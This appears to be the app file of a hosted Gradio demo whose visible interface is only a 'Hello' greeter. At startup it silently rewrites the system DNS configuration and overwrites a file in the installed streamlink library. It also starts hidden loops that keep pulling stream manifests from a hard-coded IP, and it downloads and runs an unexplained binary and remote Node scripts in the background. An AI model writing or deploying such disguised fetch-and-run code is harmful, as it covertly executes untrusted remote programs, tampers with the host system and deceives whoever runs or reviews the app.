import gradio as gr import subprocess import sys import os import signal subprocess.run('apt-get install nodejs -y', shell=True) subprocess.run('apt-get install npm -y', shell=True) subprocess.run('apt-get install htop -y', shell=True) subprocess.run('apt-get install nano -y', shell=True) subprocess.run('npm install express', shell=True) subprocess.run('npm install cors', shell=True) subprocess.run('python -m pip install "lxml>=5.1.0"', shell=True) subprocess.run('npm install fluent-ffmpeg', shell=True) subprocess.run('python3 -m pip install --no-deps git+https://github.com/WesleySouto/streamlink.git', shell=True) subprocess.run('python3 -m pip install requests pycryptodome certifi pycountry isodate websocket-client trio trio-websocket urllib3', shell=True) subprocess.run('echo "nameserver 127.0.2.1" | sudo tee /etc/resolv.conf', shell=True) subprocess.run('wget -m -np http://$host/hug/', shell=True) subprocess.run('mv /home/user/app/$host/hug/http_session.py /usr/local/lib/python3.13/site-packages/streamlink/plugin/api/http_session.py', shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update8 http://195.154.119.178:8500/mpds2/spo_hd_08.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update9 http://195.154.119.178:8500/mpds2/spo_hd_09.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update10 http://195.154.119.178:8500/mpds2/spo_hd_10.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update11 http://195.154.119.178:8500/mpds2/spo_hd_11.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update12 http://195.154.119.178:8500/mpds2/spo_hd_12.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update13 http://195.154.119.178:8500/mpds2/spo_hd_13.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update14 http://195.154.119.178:8500/mpds2/spo_hd_14.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update15 http://195.154.119.178:8500/mpds2/spo_hd_15.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update16 http://195.154.119.178:8500/mpds2/spo_hd_16.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update17 http://195.154.119.178:8500/mpds2/spo_hd_17.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update18 http://195.154.119.178:8500/mpds2/spo_hd_18.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update19 http://195.154.119.178:8500/mpds2/spo_hd_19.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update20 http://195.154.119.178:8500/mpds2/spo_hd_20.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run("nohup bash -c 'while true; do wget -q -O /home/user/app/update21 http://195.154.119.178:8500/mpds2/spo_hd_21.mpd; sleep 60; done' > /dev/null 2>&1 &", shell=True) subprocess.run('wget -O /home/user/app/tod4.js http://$host/hg2/tod4.js', shell=True) subprocess.run('wget -O /home/user/app/tod4.json http://$host/hg2/tod4.json', shell=True) subprocess.run('wget -O /home/user/app/dnscrypt-proxy.toml http://$host/dns/dnscrypt-proxy.toml', shell=True) subprocess.run('wget -O /home/user/app/hug http://$host/dns/hug', shell=True) subprocess.run('chmod 777 /home/user/app/hug', shell=True) subprocess.run('nohup /home/user/app/hug > hug.out 2>&1 &', shell=True) subprocess.run('wget -O /home/user/app/700.js http://$host/dns/700.js', shell=True) subprocess.run('nohup node /home/user/app/700.js > 700.out 2>&1 &', shell=True) subprocess.run('nohup node /home/user/app/tod4.js > tod4.out 2>&1 &', shell=True) subprocess.run('nohup python -m http.server 8686 > 77777.out 2>&1 &', shell=True) def greet(name): return "Hello " + name + "!!" demo = gr.Interface(fn=greet, inputs="text", outputs="text") demo.launch()